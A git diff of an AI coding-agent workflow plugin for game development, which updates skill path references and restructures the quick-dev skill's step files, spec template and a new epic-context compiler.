+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
 
 ### Role Reinforcement:
 
diff --git a/plugins/bmad/skills/create-prd/steps-e/step-e-04-complete.md b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-04-complete.md
similarity index 95%
rename from plugins/bmad/skills/create-prd/steps-e/step-e-04-complete.md
rename to plugins/bmad/skills/gds-edit-prd/steps-e/step-e-04-complete.md
index 5d681fe..1987a7e 100644
--- a/plugins/bmad/skills/create-prd/steps-e/step-e-04-complete.md
+++ b/plugins/bmad/skills/gds-edit-prd/steps-e/step-e-04-complete.md
@@ -4,7 +4,7 @@ description: 'Complete & Validate - Present options for next steps including ful
 
 # File references (ONLY variables used in this step)
 prdFile: '{prd_file_path}'
-validationWorkflow: '../steps-v/step-v-01-discovery.md'
+validationWorkflow: 'skill:gds-validate-prd'
 ---
 
 # Step E-4: Complete & Validate
@@ -120,8 +120,7 @@ Display:
   - Display: "This will run all 13 validation checks on the updated PRD."
   - Display: "Preparing to validate: {prd_file_path}"
   - Display: "**Proceeding to validation...**"
-  - Read fully and follow: {validationWorkflow} (steps-v/step-v-01-discovery.md)
-  - Note: This hands off to the validation workflow which will run its complete 13-step process
+  - Invoke the `gds-validate-prd` skill — it will run its complete 13-step validation process on the updated PRD
 
 - **IF E (Edit More):**
   - Display: "**Additional Edits**"
diff --git a/plugins/bmad/skills/gds-game-architecture/SKILL.md b/plugins/bmad/skills/gds-game-architecture/SKILL.md
index d650e20..b3cbf31 100644
--- a/plugins/bmad/skills/gds-game-architecture/SKILL.md
+++ b/plugins/bmad/skills/gds-game-architecture/SKILL.md
@@ -3,4 +3,4 @@ name: gds-game-architecture
 description: 'Design scale-adaptive game architecture with engine systems and networking. Use when the user says "game architecture" or "design architecture"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-01-init.md b/plugins/bmad/skills/gds-game-architecture/steps/step-01-init.md
index b35e3a5..743ce3c 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-01-init.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-01-init.md
@@ -3,7 +3,7 @@ name: 'step-01-init'
 description: 'Initialize the architecture workflow, validate readiness, and discover input documents'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01-init.md'
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-01b-continue.md b/plugins/bmad/skills/gds-game-architecture/steps/step-01b-continue.md
index 4be0963..4225c25 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-01b-continue.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-01b-continue.md
@@ -3,7 +3,7 @@ name: 'step-01b-continue'
 description: 'Continue an existing architecture workflow from where it left off'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-01b-continue.md'
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-02-context.md b/plugins/bmad/skills/gds-game-architecture/steps/step-02-context.md
index 4901b9f..15e68f0 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-02-context.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-02-context.md
@@ -3,7 +3,7 @@ name: 'step-02-context'
 description: 'Load and understand project context from GDD and supporting documents'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-02-context.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-architecture.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 2: Project Context
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-03-starter.md b/plugins/bmad/skills/gds-game-architecture/steps/step-03-starter.md
index e78d3a3..1b0ea6e 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-03-starter.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-03-starter.md
@@ -3,7 +3,7 @@ name: 'step-03-starter'
 description: 'Discover and evaluate game engine and starter template options'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-03-starter.md'
@@ -15,8 +15,8 @@ outputFile: '{output_folder}/game-architecture.md'
 engineMcps: '{workflow_path}/engine-mcps.yaml'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 3: Engine & Starter Selection
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-04-decisions.md b/plugins/bmad/skills/gds-game-architecture/steps/step-04-decisions.md
index 5283fba..fc85025 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-04-decisions.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-04-decisions.md
@@ -3,7 +3,7 @@ name: 'step-04-decisions'
 description: 'Facilitate collaborative architectural decision making for game systems'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-04-decisions.md'
@@ -17,8 +17,8 @@ architecturePatterns: '{workflow_path}/architecture-patterns.yaml'
 engineKnowledge: '{workflow_path}/knowledge/{selected_engine}-engine.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 4: Architectural Decisions
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-05-crosscutting.md b/plugins/bmad/skills/gds-game-architecture/steps/step-05-crosscutting.md
index ce067e4..df2468b 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-05-crosscutting.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-05-crosscutting.md
@@ -3,7 +3,7 @@ name: 'step-05-crosscutting'
 description: 'Address cross-cutting concerns that affect all game systems'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-05-crosscutting.md'
@@ -12,8 +12,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-architecture.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 5: Cross-cutting Concerns
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-06-structure.md b/plugins/bmad/skills/gds-game-architecture/steps/step-06-structure.md
index 8982510..b5c83f0 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-06-structure.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-06-structure.md
@@ -3,7 +3,7 @@ name: 'step-06-structure'
 description: 'Define project structure, directory organization, and architectural boundaries'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-06-structure.md'
@@ -15,8 +15,8 @@ outputFile: '{output_folder}/game-architecture.md'
 engineKnowledge: '{workflow_path}/knowledge/{selected_engine}-engine.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 6: Project Structure
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-07-patterns.md b/plugins/bmad/skills/gds-game-architecture/steps/step-07-patterns.md
index 4b830db..e88163e 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-07-patterns.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-07-patterns.md
@@ -3,7 +3,7 @@ name: 'step-07-patterns'
 description: 'Design implementation patterns and novel architectural patterns for consistency'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-07-patterns.md'
@@ -16,8 +16,8 @@ patternCategories: '{workflow_path}/pattern-categories.csv'
 engineKnowledge: '{workflow_path}/knowledge/{selected_engine}-engine.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 7: Implementation Patterns
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-08-validation.md b/plugins/bmad/skills/gds-game-architecture/steps/step-08-validation.md
index 9c04f4e..d3ffb58 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-08-validation.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-08-validation.md
@@ -3,7 +3,7 @@ name: 'step-08-validation'
 description: 'Validate architectural coherence and completeness'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-08-validation.md'
@@ -13,8 +13,8 @@ outputFile: '{output_folder}/game-architecture.md'
 checklistFile: '{workflow_path}/checklist.md'
 
 # Task References
-advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
+advancedElicitationTask: 'skill:bmad-advanced-elicitation'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 8: Validation
diff --git a/plugins/bmad/skills/gds-game-architecture/steps/step-09-complete.md b/plugins/bmad/skills/gds-game-architecture/steps/step-09-complete.md
index fad5500..7dd19ee 100644
--- a/plugins/bmad/skills/gds-game-architecture/steps/step-09-complete.md
+++ b/plugins/bmad/skills/gds-game-architecture/steps/step-09-complete.md
@@ -3,7 +3,7 @@ name: 'step-09-complete'
 description: 'Complete the architecture workflow with final review and handoff guidance'
 
 # Path Definitions
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-game-architecture'
+workflow_path: '{installed_path}'
 
 # File References
 thisStepFile: './step-09-complete.md'
@@ -11,8 +11,8 @@ workflowFile: '{workflow_path}/workflow.md'
 outputFile: '{output_folder}/game-architecture.md'
 
 # Handoff References
-epicWorkflow: '{project-root}/_bmad/gds/workflows/4-production/epic-workflow/workflow.yaml'
-projectContextWorkflow: '${CLAUDE_PLUGIN_ROOT}/skills/gds-generate-project-context/SKILL.md'
+epicWorkflow: 'skill:gds-create-epics-and-stories'
+projectContextWorkflow: 'skill:gds-generate-project-context'
 ---
 
 # Step 9: Completion
diff --git a/plugins/bmad/skills/gds-generate-project-context/SKILL.md b/plugins/bmad/skills/gds-generate-project-context/SKILL.md
index efcd89e..9599423 100644
--- a/plugins/bmad/skills/gds-generate-project-context/SKILL.md
+++ b/plugins/bmad/skills/gds-generate-project-context/SKILL.md
@@ -3,4 +3,4 @@ name: gds-generate-project-context
 description: 'Create optimized project-context.md for AI agent consistency. Use when the user says "project context" or "generate context"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-generate-project-context/steps/step-02-generate.md b/plugins/bmad/skills/gds-generate-project-context/steps/step-02-generate.md
index 101bcd7..a538540 100644
--- a/plugins/bmad/skills/gds-generate-project-context/steps/step-02-generate.md
+++ b/plugins/bmad/skills/gds-generate-project-context/steps/step-02-generate.md
@@ -29,8 +29,8 @@ This step will generate content and present choices for each rule category:
 
 ## PROTOCOL INTEGRATION:
 
-- When 'A' selected: Execute {project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml
-- When 'P' selected: Execute {project-root}/_bmad/core/workflows/party-mode
+- When 'A' selected: Execute skill:bmad-advanced-elicitation
+- When 'P' selected: Execute skill:bmad-party-mode
 - PROTOCOLS always return to display this step's A/P/C menu after the A or P have completed
 - User accepts/rejects protocol changes before proceeding
 
diff --git a/plugins/bmad/skills/gds-performance-test/SKILL.md b/plugins/bmad/skills/gds-performance-test/SKILL.md
index 95a1fa6..f6a0f31 100644
--- a/plugins/bmad/skills/gds-performance-test/SKILL.md
+++ b/plugins/bmad/skills/gds-performance-test/SKILL.md
@@ -3,4 +3,4 @@ name: gds-performance-test
 description: 'Design game performance testing strategy. Use when the user says "performance test" or "benchmark"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-playtest-plan/SKILL.md b/plugins/bmad/skills/gds-playtest-plan/SKILL.md
index 7d10983..4488e01 100644
--- a/plugins/bmad/skills/gds-playtest-plan/SKILL.md
+++ b/plugins/bmad/skills/gds-playtest-plan/SKILL.md
@@ -3,4 +3,4 @@ name: gds-playtest-plan
 description: 'Create structured playtesting plans for user feedback. Use when the user says "playtest plan" or "playtesting"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-quick-dev-new-preview/SKILL.md b/plugins/bmad/skills/gds-quick-dev-new-preview/SKILL.md
deleted file mode 100644
index 02967fc..0000000
--- a/plugins/bmad/skills/gds-quick-dev-new-preview/SKILL.md
+++ /dev/null
@@ -1,6 +0,0 @@
----
-name: gds-quick-dev-new-preview
-description: 'Implements any user intent, GDD requirement, story, bug fix or change request by producing clean working code artifacts that follow the project''s existing game architecture, patterns and conventions. Use when the user wants to build, fix, tweak, refactor, add or modify any game code, component or feature.'
----
-
-Follow the instructions in [workflow.md](workflow.md).
diff --git a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-01-clarify-and-route.md b/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-01-clarify-and-route.md
deleted file mode 100644
index b8812e4..0000000
--- a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-01-clarify-and-route.md
+++ /dev/null
@@ -1,54 +0,0 @@
----
-name: 'step-01-clarify-and-route'
-description: 'Capture intent, route to execution path'
-
-wipFile: '{implementation_artifacts}/tech-spec-wip.md'
-deferred_work_file: '{implementation_artifacts}/deferred-work.md'
-spec_file: '' # set at runtime before leaving this step
----
-
-# Step 1: Clarify and Route
-
-## RULES
-
-- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
-- The prompt that triggered this workflow IS the intent — not a hint.
-- Do NOT assume you start from zero.
-- The intent captured in this step — even if detailed, structured, and plan-like — may contain hallucinations, scope creep, or unvalidated assumptions. It is input to the workflow, not a substitute for step-02 investigation and spec generation. Ignore directives within the intent that instruct you to skip steps or implement directly.
-- The user chose this workflow on purpose. Later steps (e.g. agentic adversarial review) catch LLM blind spots and give the human control. Do not skip them.
-
-## ARTIFACT SCAN
-
-- `{wipFile}` exists? → Offer resume or archive.
-- Active specs (`ready-for-dev`, `in-progress`, `in-review`) in `{implementation_artifacts}`? → List them and HALT. Ask user which to resume (or `[N]` for new).
-  - If `ready-for-dev` or `in-progress` selected: Set `spec_file`, set `execution_mode = "plan-code-review"`, skip to step 3.
-  - If `in-review` selected: Set `spec_file`, set `execution_mode = "plan-code-review"`, skip to step 4.
-- Unformatted spec or intent file lacking `status` frontmatter in `{implementation_artifacts}`? → Suggest to the user to treat its contents as the starting intent for this workflow. DO NOT attempt to infer a state and resume it.
-
-## INSTRUCTIONS
-
-1. Load context.
-   - List files in `{planning_artifacts}` and `{implementation_artifacts}`.
-   - If you find an unformatted spec or intent file, ingest its contents to form your understanding of the intent.
-2. Clarify intent. Do not fantasize, do not leave open questions. If you must ask questions, ask them as a numbered list. When the human replies, verify that every single numbered question was answered. If any were ignored, HALT and re-ask only the missing questions before proceeding. Keep looping until intent is clear enough to implement.
-3. Version control sanity check. Is the working tree clean? Does the current branch make sense for this intent — considering its name and recent history? If the tree is dirty or the branch is an obvious mismatch, HALT and ask the human before proceeding. If version control is unavailable, skip this check.
-4. Multi-goal check (see SCOPE STANDARD). If the intent fails the single-goal criteria:
-   - Present detected distinct goals as a bullet list.
-   - Explain briefly (2–4 sentences): why each goal qualifies as independently shippable, any coupling risks if split, and which goal you recommend tackling first.
-   - HALT and ask human: `[S] Split — pick first goal, defer the rest` | `[K] Keep all goals — accept the risks`
-   - On **S**: Append deferred goals to `{deferred_work_file}`. Narrow scope to the first-mentioned goal. Continue routing.
-   - On **K**: Proceed as-is.
-5. Generate `spec_file` path:
-   - Derive a valid kebab-case slug from the clarified intent.
-   - If `{implementation_artifacts}/tech-spec-{slug}.md` already exists, append `-2`, `-3`, etc.
-   - Set `spec_file` = `{implementation_artifacts}/tech-spec-{slug}.md`.
-6. Route:
-   - **One-shot** — zero blast radius: no plausible path by which this change causes unintended consequences elsewhere. Clear intent, no architectural decisions. `execution_mode = "one-shot"`. → Step 3.
-   - **Plan-code-review** — everything else. `execution_mode = "plan-code-review"`. → Step 2.
-   - When uncertain whether blast radius is truly zero, default to plan-code-review.
-
-
-## NEXT
-
-- One-shot / ready-for-dev: Read fully and follow `./steps/step-03-implement.md`
-- Plan-code-review: Read fully and follow `./steps/step-02-plan.md`
diff --git a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-02-plan.md b/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-02-plan.md
deleted file mode 100644
index 22df65b..0000000
--- a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-02-plan.md
+++ /dev/null
@@ -1,39 +0,0 @@
----
-name: 'step-02-plan'
-description: 'Investigate, generate spec, present for approval'
-
-templateFile: '../tech-spec-template.md'
-wipFile: '{implementation_artifacts}/tech-spec-wip.md'
-deferred_work_file: '{implementation_artifacts}/deferred-work.md'
----
-
-# Step 2: Plan
-
-## RULES
-
-- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
-- No intermediate approvals.
-
-## INSTRUCTIONS
-
-1. Investigate codebase. _Isolate deep exploration in sub-agents/tasks where available. To prevent context snowballing, instruct subagents to give you distilled summaries only._
-2. Read `{templateFile}` fully. Fill it out based on the intent and investigation, and write the result to `{wipFile}`.
-3. Self-review against READY FOR DEVELOPMENT standard.
-4. If intent gaps exist, do not fantasize, do not leave open questions, HALT and ask the human.
-5. Token count check (see SCOPE STANDARD). If spec exceeds 1600 tokens:
-   - Show user the token count.
-   - HALT and ask human: `[S] Split — carve off secondary goals` | `[K] Keep full spec — accept the risks`
-   - On **S**: Propose the split — name each secondary goal. Append deferred goals to `{deferred_work_file}`. Rewrite the current spec to cover only the main goal — do not surgically carve sections out; regenerate the spec for the narrowed scope. Continue to checkpoint.
-   - On **K**: Continue to checkpoint with full spec.
-
-### CHECKPOINT 1
-
-Present summary. If token count exceeded 1600 and user chose [K], include the token count and explain why it may be a problem. HALT and ask human: `[A] Approve` | `[E] Edit`
-
-- **A**: Rename `{wipFile}` to `{spec_file}`, set status `ready-for-dev`. Everything inside `<frozen-after-approval>` is now locked — only the human can change it. → Step 3.
-- **E**: Apply changes, then return to CHECKPOINT 1.
-
-
-## NEXT
-
-Read fully and follow `./steps/step-03-implement.md`
diff --git a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-03-implement.md b/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-03-implement.md
deleted file mode 100644
index 97d1892..0000000
--- a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-03-implement.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-name: 'step-03-implement'
-description: 'Execute implementation directly or via sub-agent. Local only.'
----
-
-# Step 3: Implement
-
-## RULES
-
-- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
-- No push. No remote ops.
-- Sequential execution only.
-- Content inside `<frozen-after-approval>` in `{spec_file}` is read-only. Do not modify.
-
-## PRECONDITION
-
-Verify `{spec_file}` resolves to a non-empty path and the file exists on disk. If empty or missing, HALT and ask the human to provide the spec file path before proceeding.
-
-## INSTRUCTIONS
-
-### Baseline (plan-code-review only)
-
-Capture `baseline_commit` (current HEAD, or `NO_VCS` if version control is unavailable) into `{spec_file}` frontmatter before making any changes.
-
-### Implement
-
-Change `{spec_file}` status to `in-progress` in the frontmatter before starting implementation.
-
-`execution_mode = "one-shot"` or no sub-agents/tasks available: implement the intent.
-
-Otherwise (`execution_mode = "plan-code-review"`): hand `{spec_file}` to a sub-agent/task and let it implement.
-
-## NEXT
-
-Read fully and follow `./steps/step-04-review.md`
diff --git a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-05-present.md b/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-05-present.md
deleted file mode 100644
index c9bc13d..0000000
--- a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-05-present.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-name: 'step-05-present'
-description: 'Present findings, get approval, create PR'
----
-
-# Step 5: Present
-
-## RULES
-
-- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
-- NEVER auto-push.
-
-## INSTRUCTIONS
-
-1. Change `{spec_file}` status to `done` in the frontmatter.
-2. If version control is available and the tree is dirty, create a local commit with a conventional message derived from the spec title.
-3. Display summary of your work to the user, including the commit hash if one was created. Advise on how to review the changes. Offer to push and/or create a pull request.
-
-Workflow complete.
diff --git a/plugins/bmad/skills/gds-quick-dev/SKILL.md b/plugins/bmad/skills/gds-quick-dev/SKILL.md
index a41a80e..5d0a1b9 100644
--- a/plugins/bmad/skills/gds-quick-dev/SKILL.md
+++ b/plugins/bmad/skills/gds-quick-dev/SKILL.md
@@ -1,6 +1,6 @@
 ---
 name: gds-quick-dev
-description: 'Flexible development workflow - execute tech-specs OR direct instructions with optional planning. Use when the user says "lets implement this feature" or "execute these development tasks"'
+description: 'Implements any user intent, requirement, story, bug fix or change request by producing clean working code artifacts that follow the project''s existing architecture, patterns and conventions. Use when the user wants to build, fix, tweak, refactor, add or modify any code, component or feature.'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-quick-dev/compile-epic-context.md b/plugins/bmad/skills/gds-quick-dev/compile-epic-context.md
new file mode 100644
index 0000000..0303477
--- /dev/null
+++ b/plugins/bmad/skills/gds-quick-dev/compile-epic-context.md
@@ -0,0 +1,62 @@
+# Compile Epic Context
+
+**Task**
+Given an epic number, the epics file, the planning artifacts directory, and a desired output path, compile a clean, focused, developer-ready context file (`epic-<N>-context.md`).
+
+**Steps**
+
+1. Read the epics file and extract the target epic's title, goal, and list of stories.
+2. Scan the planning artifacts directory for the standard files (PRD, architecture, UX/design, product brief).
+3. Pull only the information relevant to this epic.
+4. Write the compiled context to the exact output path using the format below.
+
+## Exact Output Format
+
+Use these headings:
+
+```markdown
+# Epic {N} Context: {Epic Title}
+
+<!-- Compiled from planning artifacts. Edit freely. Regenerate with compile-epic-context if planning docs change. -->
+
+## Goal
+
+{One clear paragraph: what this epic achieves and why it matters.}
+
+## Stories
+
+- Story X.Y: Brief title only
+- ...
+
+## Requirements & Constraints
+
+{Relevant functional/non-functional requirements and success criteria for this epic (describe by purpose, not source).}
+
+## Technical Decisions
+
+{Key architecture decisions, constraints, patterns, data models, and conventions relevant to this epic.}
+
+## UX & Interaction Patterns
+
+{Relevant UX flows, interaction patterns, and design constraints (omit section entirely if nothing relevant).}
+
+## Cross-Story Dependencies
+
+{Dependencies between stories in this epic or with other epics/systems (omit if none).}
+```
+
+## Rules
+
+- **Scope aggressively.** Include only what a developer working on any story in this epic actually needs. When in doubt, leave it out — the developer can always read the full planning doc.
+- **Describe by purpose, not by source.** Write "API responses must include pagination metadata" not "Per PRD section 3.2.1, pagination is required." Planning doc internals will change; the constraint won't.
+- **No full copies.** Never quote source documents, section numbers, or paste large blocks verbatim. Always distill.
+- **No story-level details.** The story list is for orientation only. Individual story specs handle the details.
+- **Nothing derivable from the codebase.** Don't document what a developer can learn by reading the code.
+- **Be concise and actionable.** Target 800–1500 tokens total. This file loads into quick-dev's context alongside other material.
+- **Never hallucinate content.** If source material doesn't say something, don't invent it.
+- **Omit empty sections entirely**, except Goal and Stories, which are always required.
+
+## Error handling
+
+- **If the epics file is missing or the target epic is not found:** write nothing and report the problem to the calling agent. Goal and Stories cannot be populated without a usable epics file.
+- **If planning artifacts are missing or empty:** still produce the file with Goal and Stories populated from the epics file, and note the gap in the Goal section. Never hallucinate content to fill missing sections.
diff --git a/plugins/bmad/skills/gds-quick-dev-new-preview/tech-spec-template.md b/plugins/bmad/skills/gds-quick-dev/spec-template.md
similarity index 94%
rename from plugins/bmad/skills/gds-quick-dev-new-preview/tech-spec-template.md
rename to plugins/bmad/skills/gds-quick-dev/spec-template.md
index c9fef53..b0e4f53 100644
--- a/plugins/bmad/skills/gds-quick-dev-new-preview/tech-spec-template.md
+++ b/plugins/bmad/skills/gds-quick-dev/spec-template.md
@@ -3,7 +3,7 @@ title: '{title}'
 type: 'feature' # feature | bugfix | refactor | chore
 created: '{date}'
 status: 'draft' # draft | ready-for-dev | in-progress | in-review | done
-context: [] # optional: max 3 project-wide standards/docs. NO source code files.
+context: [] # optional: `{project-root}/`-prefixed paths to project-wide standards/docs the implementation agent should load. Keep short — only what isn't already distilled into the spec body.
 ---
 
 <!-- Target: 900–1300 tokens. Above 1600 = high risk of context rot.
@@ -11,8 +11,6 @@ context: [] # optional: max 3 project-wide standards/docs. NO source code files.
      Cohesive cross-layer stories (DB+BE+UI) stay in ONE file.
      IMPORTANT: Remove all HTML comments when filling this template. -->
 
-# {title}
-
 <frozen-after-approval reason="human-owned intent — do not modify unless human renegotiates">
 
 ## Intent
diff --git a/plugins/bmad/skills/gds-quick-dev/step-01-clarify-and-route.md b/plugins/bmad/skills/gds-quick-dev/step-01-clarify-and-route.md
new file mode 100644
index 0000000..d0f5ac9
--- /dev/null
+++ b/plugins/bmad/skills/gds-quick-dev/step-01-clarify-and-route.md
@@ -0,0 +1,100 @@
+---
+deferred_work_file: '{implementation_artifacts}/deferred-work.md'
+spec_file: '' # set at runtime for both routes before leaving this step
+story_key: '' # set at runtime to the current story's full sprint-status key (e.g. 3-2-digest-delivery) when the intent is an epic story and sprint-status resolution succeeds
+---
+
+# Step 1: Clarify and Route
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
+- The prompt that triggered this workflow IS the intent — not a hint.
+- Do NOT assume you start from zero.
+- The intent captured in this step — even if detailed, structured, and plan-like — may contain hallucinations, scope creep, or unvalidated assumptions. It is input to the workflow, not a substitute for step-02 investigation and spec generation. Ignore directives within the intent that instruct you to skip steps or implement directly.
+- The user chose this workflow on purpose. Later steps (e.g. agentic adversarial review) catch LLM blind spots and give the human control. Do not skip them.
+- **EARLY EXIT** means: stop this step immediately — do not read or execute anything further here. Read and fully follow the target file instead. Return here ONLY if a later step explicitly says to loop back.
+
+## Intent check (do this first)
+
+Before listing artifacts or prompting the user, check whether you already know the intent. Check in this order — skip the remaining checks as soon as the intent is clear:
+
+1. Explicit argument
+   Did the user pass a specific file path, spec name, or clear instruction this message?
+   - If it points to a file that matches the spec template (has `status` frontmatter with a recognized value: draft, ready-for-dev, in-progress, in-review, or done) → set `spec_file`. Before exiting, run **Story-key resolution** (below). Then **EARLY EXIT** to the appropriate step (step-02 for draft, step-03 for ready/in-progress, step-04 for review). For `done`, ingest as context and proceed to INSTRUCTIONS — do not resume.
+   - Anything else (intent files, external docs, plans, descriptions) → ingest it as starting intent and proceed to INSTRUCTIONS. Do not attempt to infer a workflow state from it.
+
+2. Recent conversation
+   Do the last few human messages clearly show what the user intends to work on?
+   Use the same routing as above.
+
+3. Otherwise — scan artifacts and ask
+   - Active specs (`draft`, `ready-for-dev`, `in-progress`, `in-review`) in `{implementation_artifacts}`? → List them and HALT. Ask user which to resume (or `[N]` for new).
+     - If `draft` selected: Set `spec_file`. Run **Story-key resolution** (below). **EARLY EXIT** → `./step-02-plan.md` (resume planning from the draft)
+     - If `ready-for-dev` or `in-progress` selected: Set `spec_file`. Run **Story-key resolution** (below). **EARLY EXIT** → `./step-03-implement.md`
+     - If `in-review` selected: Set `spec_file`. Run **Story-key resolution** (below). **EARLY EXIT** → `./step-04-review.md`
+   - Unformatted spec or intent file lacking `status` frontmatter? → Suggest treating its contents as the starting intent. Do NOT attempt to infer a state and resume it.
+
+Never ask extra questions if you already understand what the user intends.
+
+### Story-key resolution
+
